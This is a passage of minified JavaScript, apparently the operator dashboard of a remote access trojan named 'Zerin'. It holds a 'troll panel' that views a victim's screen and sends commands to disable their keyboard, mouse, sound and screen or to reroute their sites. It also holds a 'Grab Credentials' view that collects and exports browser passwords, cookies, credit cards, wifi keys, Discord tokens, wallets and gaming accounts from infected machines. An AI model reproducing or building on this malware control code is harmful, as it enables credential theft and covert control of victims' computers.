le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),R=performance.now(),fe=z.current,ve=k.current%N;fe[ve]=R,k.current=ve+1,S.current1){const Q=fe[(ve+1-ae+N)%N],he=(R-Q)/1e3;he>0&&(V=Math.round((ae-1)/he))}const U=A.current;if(U.frameCount++,U.fps=V,U.width=le,U.height=we,U.lastFrameMs=Ne,Ae===1){const Q=eV(B,13,ne.data.byteLength);U.dirtyTiles=Q.numDirty,U.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{U.dirtyTiles=0,U.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},q.onclose=()=>{l(!1),i.current=null,F(),Z(),de(),r==null||r()},q.onerror=()=>{q.close()}},[e,t,r,H,F,K,Z,oe,de]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),F(),Z(),de(),l(!1)},[F,Z,de]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),F(),Z(),de()},[F,Z,de]),{isConnected:o,stats:c,controls:$,connect:be,disconnect:ye}}function tV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[z,k]=m.useState(!1),[S,A]=m.useState("https://"),[_,O]=m.useState(!1),[P,I]=m.useState(""),[Y,D]=m.useState(!1),[M,W]=m.useState(!1),[$,H]=m.useState(!1),[F,K]=m.useState(!1),[Z,oe]=m.useState(!1),[de,be]=m.useState(!1),ye=(V,ae="ok")=>{f({text:V,type:ae}),setTimeout(()=>f(null),2500)},G=m.useCallback((V,ae,U)=>{s.current||(s.current=!0,i(!0)),l({w:ae,h:U});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==ae||Q.height!==U)&&(Q.width=ae,Q.height=U),typeof V=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=V}else V instanceof ImageBitmap?(he.drawImage(V,0,0),V.close()):he.drawImage(V,0,0)},[]),{isConnected:te,stats:C,connect:q}=Nv({agentId:e,onFrame:G}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Px(e).then(()=>q()).catch(()=>{q()})},[e,q,ne]);const le=async(V,ae)=>{try{await Me(e,{command:V,args:ae}),ye(`Sent: ${V}`)}catch{ye(`Failed: ${V}`,"err")}},we=()=>{const V=!c;u(V),le("troll_taskbar",[V?"show":"hide"])},Ne=(V,ae,U)=>{const Q=!V;ae(Q),le(U,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},R=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}le("troll_website",[S]),k(!1),A("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),O(!1),I(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Gs,{icon:a.jsx(nV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Gs,{icon:a.jsx(rV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Gs,{icon:a.jsx(iV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>k(!0)}),a.jsx(Gs,{icon:a.jsx(aV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),a.jsx(Gs,{icon:a.jsx(sV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:Y,color:"#f59e0b",onToggle:()=>Ne(Y,D,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>Ne(M,W,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!$,color:"#ef4444",onToggle:()=>Ne($,H,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!F,color:"#10b981",onToggle:()=>Ne(F,K,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,oe,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!de,color:"#06b6d4",onToggle:()=>Ne(de,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ic,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:V=>g(V.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:V=>v(V.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(ac,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ic,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:V=>N(V.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>w(!1),onSend:R,color:"#8b5cf6",disabled:!j.trim()})]}),z&&a.jsxs(ic,{title:"Open Website",color:"#06b6d4",onClose:()=>k(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:V=>A(V.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>k(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),_&&a.jsxs(ic,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:V=>I(V.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>O(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Gs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ic({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function ac({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function nV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function rV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function iV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function sV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function oV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var z,k,S,A,_,O,P,I,Y,D,M,W,$,H,F,K,Z,oe,de,be,ye,G,te,C,q,ne,B,le,we,Ne,Ae,R,fe,ve,V,ae,U,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const se=new Set(re);return se.has(X)?se.delete(X):se.add(X),se})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var se,Oe,et,T,ie,ue,lt,Ct,Lt,gr,Qr,Li,_s;re++;try{const Jr=(se=(await Xn(e)).results)==null?void 0:se.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(T=bt.wifi)!=null&&T.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(ue=bt.discord_tokens)!=null&&ue.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(_s=bt.errors)!=null&&_s.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const se=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:se,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const se=atob(X),Oe=new Uint8Array(se.length);for(let ue=0;ue{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),se=document.createElement("a");se.href=re,se.download=`credentials_${e.slice(0,8)}.json`,se.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((z=i.chrome_passwords)==null?void 0:z.length)??0)+(((k=i.firefox_passwords)==null?void 0:k.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.username,se),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(A=i.chrome_cookies)!=null&&A.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.value,se),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((_=i.chrome_cards)==null?void 